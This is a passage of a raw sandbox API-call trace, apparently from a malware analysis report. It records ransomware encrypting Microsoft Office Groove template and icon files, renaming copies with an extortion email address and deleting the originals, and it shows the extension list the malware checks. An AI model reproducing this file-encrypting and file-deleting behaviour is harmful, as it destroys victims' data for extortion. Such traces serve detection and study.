Requisition - Customized.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\hiring requisition - customized.fdt")) returned 0x20 [0264.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition - Customized.fdt.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\hiring requisition - customized.fdt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition - Customized.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\hiring requisition - customized.fdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0264.617] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.617] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition - Customized.fdt.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\hiring requisition - customized.fdt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0264.618] GetLastError () returned 0x0 [0264.618] ReadFile (in: hFile=0x3d8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x24051, lpOverlapped=0x0) returned 1 [0264.646] WriteFile (in: hFile=0x39c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x24060, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x24060, lpOverlapped=0x0) returned 1 [0264.649] ReadFile (in: hFile=0x3d8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.649] WriteFile (in: hFile=0x39c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x11a, lpOverlapped=0x0) returned 1 [0264.649] SetEndOfFile (hFile=0x39c) returned 1 [0264.649] CloseHandle (hObject=0x39c) returned 1 [0264.649] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.649] SetEndOfFile (hFile=0x3d8) returned 1 [0264.655] CloseHandle (hObject=0x3d8) returned 1 [0264.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition - Customized.fdt.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.667] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition - Customized.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\hiring requisition - customized.fdt")) returned 1 [0264.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition - Customized.fdt") returned 132 [0264.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition - Customized.fdt") returned 132 [0264.706] lstrlenW (lpString=".doc") returned 4 [0264.706] lstrcmpiW (lpString1=".doc", lpString2=".fdt") returned -1 [0264.706] lstrlenW (lpString=".docx") returned 5 [0264.706] lstrcmpiW (lpString1=".docx", lpString2="d.fdt") returned -1 [0264.706] lstrlenW (lpString=".pdf") returned 4 [0264.706] lstrcmpiW (lpString1=".pdf", lpString2=".fdt") returned 1 [0264.706] lstrlenW (lpString=".xls") returned 4 [0264.706] lstrcmpiW (lpString1=".xls", lpString2=".fdt") returned 1 [0264.706] lstrlenW (lpString=".xlsx") returned 5 [0264.706] lstrcmpiW (lpString1=".xlsx", lpString2="d.fdt") returned -1 [0264.706] lstrlenW (lpString=".ppt") returned 4 [0264.706] lstrcmpiW (lpString1=".ppt", lpString2=".fdt") returned 1 [0264.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition - Customized.fdt") returned 132 [0264.706] lstrlenW (lpString=".zip") returned 4 [0264.706] lstrcmpiW (lpString1=".zip", lpString2=".fdt") returned 1 [0264.706] lstrlenW (lpString=".rar") returned 4 [0264.706] lstrcmpiW (lpString1=".rar", lpString2=".fdt") returned 1 [0264.706] lstrlenW (lpString=".bz2") returned 4 [0264.706] lstrcmpiW (lpString1=".bz2", lpString2=".fdt") returned -1 [0264.706] lstrlenW (lpString=".7z") returned 3 [0264.706] lstrcmpiW (lpString1=".7z", lpString2="fdt") returned -1 [0264.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition - Customized.fdt") returned 132 [0264.706] lstrlenW (lpString=".dbf") returned 4 [0264.706] lstrcmpiW (lpString1=".dbf", lpString2=".fdt") returned -1 [0264.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition - Customized.fdt") returned 132 [0264.706] lstrlenW (lpString=".1cd") returned 4 [0264.707] lstrcmpiW (lpString1=".1cd", lpString2=".fdt") returned -1 [0264.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition - Customized.fdt") returned 132 [0264.707] lstrlenW (lpString=".jpg") returned 4 [0264.707] lstrcmpiW (lpString1=".jpg", lpString2=".fdt") returned 1 [0264.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition - Customized.fdt") returned 132 [0264.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition - Customized.fdt") returned 132 [0264.707] lstrlenW (lpString=".doc") returned 4 [0264.707] lstrcmpiW (lpString1=".doc", lpString2=".fdt") returned -1 [0264.707] lstrlenW (lpString=".docx") returned 5 [0264.707] lstrcmpiW (lpString1=".docx", lpString2="d.fdt") returned -1 [0264.707] lstrlenW (lpString=".pdf") returned 4 [0264.707] lstrcmpiW (lpString1=".pdf", lpString2=".fdt") returned 1 [0264.707] lstrlenW (lpString=".xls") returned 4 [0264.707] lstrcmpiW (lpString1=".xls", lpString2=".fdt") returned 1 [0264.707] lstrlenW (lpString=".xlsx") returned 5 [0264.707] lstrcmpiW (lpString1=".xlsx", lpString2="d.fdt") returned -1 [0264.707] lstrlenW (lpString=".ppt") returned 4 [0264.707] lstrcmpiW (lpString1=".ppt", lpString2=".fdt") returned 1 [0264.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition - Customized.fdt") returned 132 [0264.707] lstrlenW (lpString=".zip") returned 4 [0264.707] lstrcmpiW (lpString1=".zip", lpString2=".fdt") returned 1 [0264.707] lstrlenW (lpString=".rar") returned 4 [0264.707] lstrcmpiW (lpString1=".rar", lpString2=".fdt") returned 1 [0264.707] lstrlenW (lpString=".bz2") returned 4 [0264.707] lstrcmpiW (lpString1=".bz2", lpString2=".fdt") returned -1 [0264.707] lstrlenW (lpString=".7z") returned 3 [0264.707] lstrcmpiW (lpString1=".7z", lpString2="fdt") returned -1 [0264.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition - Customized.fdt") returned 132 [0264.707] lstrlenW (lpString=".dbf") returned 4 [0264.707] lstrcmpiW (lpString1=".dbf", lpString2=".fdt") returned -1 [0264.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition - Customized.fdt") returned 132 [0264.707] lstrlenW (lpString=".1cd") returned 4 [0264.707] lstrcmpiW (lpString1=".1cd", lpString2=".fdt") returned -1 [0264.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition - Customized.fdt") returned 132 [0264.707] lstrlenW (lpString=".jpg") returned 4 [0264.708] lstrcmpiW (lpString1=".jpg", lpString2=".fdt") returned 1 [0264.708] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0264.708] lstrlenW (lpString="VIEW.ICO") returned 8 [0264.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEW.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\view.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0264.718] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=318) returned 1 [0264.718] CloseHandle (hObject=0x37c) returned 1 [0264.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEW.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\view.ico")) returned 0x20 [0264.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEW.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\view.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEW.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\view.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0264.786] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.786] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEW.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\view.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0264.787] GetLastError () returned 0x0 [0264.787] ReadFile (in: hFile=0x388, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x13e, lpOverlapped=0x0) returned 1 [0264.788] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x140, lpOverlapped=0x0) returned 1 [0264.788] ReadFile (in: hFile=0x388, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.788] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0264.789] SetEndOfFile (hFile=0x1f8) returned 1 [0264.789] CloseHandle (hObject=0x1f8) returned 1 [0264.789] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.789] SetEndOfFile (hFile=0x388) returned 1 [0264.791] CloseHandle (hObject=0x388) returned 1 [0264.791] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEW.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.791] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEW.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\view.ico")) returned 1 [0264.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEW.ICO") returned 90 [0264.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEW.ICO") returned 90 [0264.792] lstrlenW (lpString=".doc") returned 4 [0264.792] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0264.792] lstrlenW (lpString=".docx") returned 5 [0264.792] lstrcmpiW (lpString1=".docx", lpString2="W.ICO") returned -1 [0264.792] lstrlenW (lpString=".pdf") returned 4 [0264.792] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0264.792] lstrlenW (lpString=".xls") returned 4 [0264.792] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0264.792] lstrlenW (lpString=".xlsx") returned 5 [0264.792] lstrcmpiW (lpString1=".xlsx", lpString2="W.ICO") returned -1 [0264.792] lstrlenW (lpString=".ppt") returned 4 [0264.792] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0264.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEW.ICO") returned 90 [0264.792] lstrlenW (lpString=".zip") returned 4 [0264.792] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0264.792] lstrlenW (lpString=".rar") returned 4 [0264.792] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0264.792] lstrlenW (lpString=".bz2") returned 4 [0264.792] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0264.792] lstrlenW (lpString=".7z") returned 3 [0264.792] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0264.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEW.ICO") returned 90 [0264.792] lstrlenW (lpString=".dbf") returned 4 [0264.792] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0264.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEW.ICO") returned 90 [0264.792] lstrlenW (lpString=".1cd") returned 4 [0264.792] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0264.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEW.ICO") returned 90 [0264.793] lstrlenW (lpString=".jpg") returned 4 [0264.793] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0264.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEW.ICO") returned 90 [0264.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEW.ICO") returned 90 [0264.793] lstrlenW (lpString=".doc") returned 4 [0264.793] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0264.793] lstrlenW (lpString=".docx") returned 5 [0264.793] lstrcmpiW (lpString1=".docx", lpString2="W.ICO") returned -1 [0264.793] lstrlenW (lpString=".pdf") returned 4 [0264.793] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0264.793] lstrlenW (lpString=".xls") returned 4 [0264.793] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0264.793] lstrlenW (lpString=".xlsx") returned 5 [0264.793] lstrcmpiW (lpString1=".xlsx", lpString2="W.ICO") returned -1 [0264.793] lstrlenW (lpString=".ppt") returned 4 [0264.793] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0264.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEW.ICO") returned 90 [0264.793] lstrlenW (lpString=".zip") returned 4 [0264.793] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0264.793] lstrlenW (lpString=".rar") returned 4 [0264.793] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0264.793] lstrlenW (lpString=".bz2") returned 4 [0264.793] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0264.793] lstrlenW (lpString=".7z") returned 3 [0264.793] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0264.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEW.ICO") returned 90 [0264.793] lstrlenW (lpString=".dbf") returned 4 [0264.793] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0264.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEW.ICO") returned 90 [0264.793] lstrlenW (lpString=".1cd") returned 4 [0264.793] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0264.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEW.ICO") returned 90 [0264.793] lstrlenW (lpString=".jpg") returned 4 [0264.793] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0264.794] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0264.794] lstrlenW (lpString="FORM.ICO") returned 8 [0264.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FORM.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\form.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0264.794] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=318) returned 1 [0264.794] CloseHandle (hObject=0x388) returned 1 [0264.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FORM.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\form.ico")) returned 0x20 [0264.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FORM.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\form.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FORM.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\form.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0264.795] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.795] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FORM.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\form.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0265.516] GetLastError () returned 0x0 [0265.516] ReadFile (in: hFile=0x388, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x13e, lpOverlapped=0x0) returned 1 [0265.516] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x140, lpOverlapped=0x0) returned 1 [0265.517] ReadFile (in: hFile=0x388, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.517] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0265.517] SetEndOfFile (hFile=0x1f8) returned 1 [0265.518] CloseHandle (hObject=0x1f8) returned 1 [0265.518] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.518] SetEndOfFile (hFile=0x388) returned 1 [0265.531] CloseHandle (hObject=0x388) returned 1 [0265.531] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FORM.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.531] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FORM.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\form.ico")) returned 1 [0265.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FORM.ICO") returned 91 [0265.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FORM.ICO") returned 91 [0265.532] lstrlenW (lpString=".doc") returned 4 [0265.532] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0265.532] lstrlenW (lpString=".docx") returned 5 [0265.532] lstrcmpiW (lpString1=".docx", lpString2="M.ICO") returned -1 [0265.532] lstrlenW (lpString=".pdf") returned 4 [0265.532] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0265.532] lstrlenW (lpString=".xls") returned 4 [0265.532] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0265.532] lstrlenW (lpString=".xlsx") returned 5 [0265.532] lstrcmpiW (lpString1=".xlsx", lpString2="M.ICO") returned -1 [0265.532] lstrlenW (lpString=".ppt") returned 4 [0265.532] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0265.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FORM.ICO") returned 91 [0265.532] lstrlenW (lpString=".zip") returned 4 [0265.532] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0265.532] lstrlenW (lpString=".rar") returned 4 [0265.533] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0265.533] lstrlenW (lpString=".bz2") returned 4 [0265.533] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0265.533] lstrlenW (lpString=".7z") returned 3 [0265.533] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0265.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FORM.ICO") returned 91 [0265.533] lstrlenW (lpString=".dbf") returned 4 [0265.533] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0265.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FORM.ICO") returned 91 [0265.533] lstrlenW (lpString=".1cd") returned 4 [0265.533] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0265.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FORM.ICO") returned 91 [0265.533] lstrlenW (lpString=".jpg") returned 4 [0265.533] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0265.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FORM.ICO") returned 91 [0265.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FORM.ICO") returned 91 [0265.533] lstrlenW (lpString=".doc") returned 4 [0265.533] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0265.533] lstrlenW (lpString=".docx") returned 5 [0265.533] lstrcmpiW (lpString1=".docx", lpString2="M.ICO") returned -1 [0265.533] lstrlenW (lpString=".pdf") returned 4 [0265.533] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0265.533] lstrlenW (lpString=".xls") returned 4 [0265.533] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0265.533] lstrlenW (lpString=".xlsx") returned 5 [0265.533] lstrcmpiW (lpString1=".xlsx", lpString2="M.ICO") returned -1 [0265.533] lstrlenW (lpString=".ppt") returned 4 [0265.533] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0265.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FORM.ICO") returned 91 [0265.533] lstrlenW (lpString=".zip") returned 4 [0265.533] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0265.533] lstrlenW (lpString=".rar") returned 4 [0265.533] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0265.533] lstrlenW (lpString=".bz2") returned 4 [0265.533] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0265.534] lstrlenW (lpString=".7z") returned 3 [0265.534] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0265.534] lstrlenW 